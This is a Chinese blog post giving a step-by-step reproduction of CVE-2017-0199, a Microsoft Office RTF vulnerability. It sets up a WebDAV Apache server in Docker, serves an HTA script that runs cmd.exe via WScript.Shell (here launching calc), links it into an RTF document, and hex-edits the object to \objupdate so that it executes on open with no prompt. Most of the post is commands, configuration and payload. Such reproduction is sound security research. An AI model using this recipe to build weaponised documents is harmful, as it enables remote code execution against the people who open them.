CVE-2017-0199漏洞复现

@王松_Striker  April 20, 2017

CVE-2017-0199是首个Microsoft Office RTF漏洞,漏洞发布日期为2017年4月11日。受影响系统包括:

  • Microsoft Office 2016
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

当用户打开包含嵌入式漏洞的文档时,此漏洞允许恶意攻击者下载并执行包含PowerShell命令的Visual Basic脚本。

微软官方对该漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

漏洞复现

首先我们需要一个apache服务器、一个POC、一个Word。

apache

apache需要开启DAV支持,为了方便。

这里我使用了docker来搭建,写了如下Dockerfile:

FROM ubuntu:14.04
MAINTAINER 王松_Striker <song@secbox.cn>


RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y apache2

RUN a2enmod dav \
    &&  a2enmod dav_fs  \
    &&  a2enmod dav_lock    \
    &&  a2enmod headers

RUN service apache2 restart

EXPOSE 80

COPY start.sh /start.sh
RUN chmod +x start.sh

CMD ["/start.sh"]

其中start.sh的内容为:

#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log

然后构建该镜像:

docker build -t cve-2017-0199 .

运行容器:

docker run -d -p 8881:80 cve-2017-0199

本地打开,如果出现如下页面表示搭建成功:

14925848435463.jpg

POC

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>

Word

新建一个Word,名为:test.docx

内容任意,我这里使用Hi, Striker

14925850692054.jpg

复现过程

首先在apache目录下建立test目录,我们需要进入docker容器中并返回一个交互shell,方便后续操作:

docker exec -it 容器ID /bin/bash

然后在交互shell中执行:

mkdir /var/www/html/test/

然后我们把test.docx复制到test目录下:

新建一个shell窗口执行:

docker cp `pwd`/test.docx 容器ID:/var/www/html/test/

然后在把test.docx命名为test.rtf:

cd /var/www/html/test/
mv test.docx test.rtf

然后新建一个word就叫mypoc.docx吧。

分别点击插入 -> 对象 -> 由文件创建 -> 链接到文件,然后输入rtf的网址。

14925855639396.png

然后把mypoc.docx另存为exp.rtf

现在我们可以删掉apache上的test.rtf,然后写入POC或直接替换掉test.rtf:

echo "<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>" > test.rtf

此时我们需要修改apache的配置:

vi /etc/apache2/apache2.conf

需要添加的内容如下:

<Directory />  
Dav on  
</Directory>  
<Directory /var/www/html/test/>  
Header set Content-Type "application/hta"  
</Directory>

效果如图:

14925864126394.jpg

然后重启服务器:

service apache2 restart

此时打开我们的exp.rtf

14925865649278.png

点击“是”,将会弹出计算器:

14925865908714.jpg

当然这个提示也是可以取消掉的。

我们用winhex打开exp.rtf\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict

14925868205845.png

然后再次打开exp.rtf,直接可以弹出计算器:

14925868776852.png

文章首发于Web安全与前端公众号,欢迎关注:

添加新评论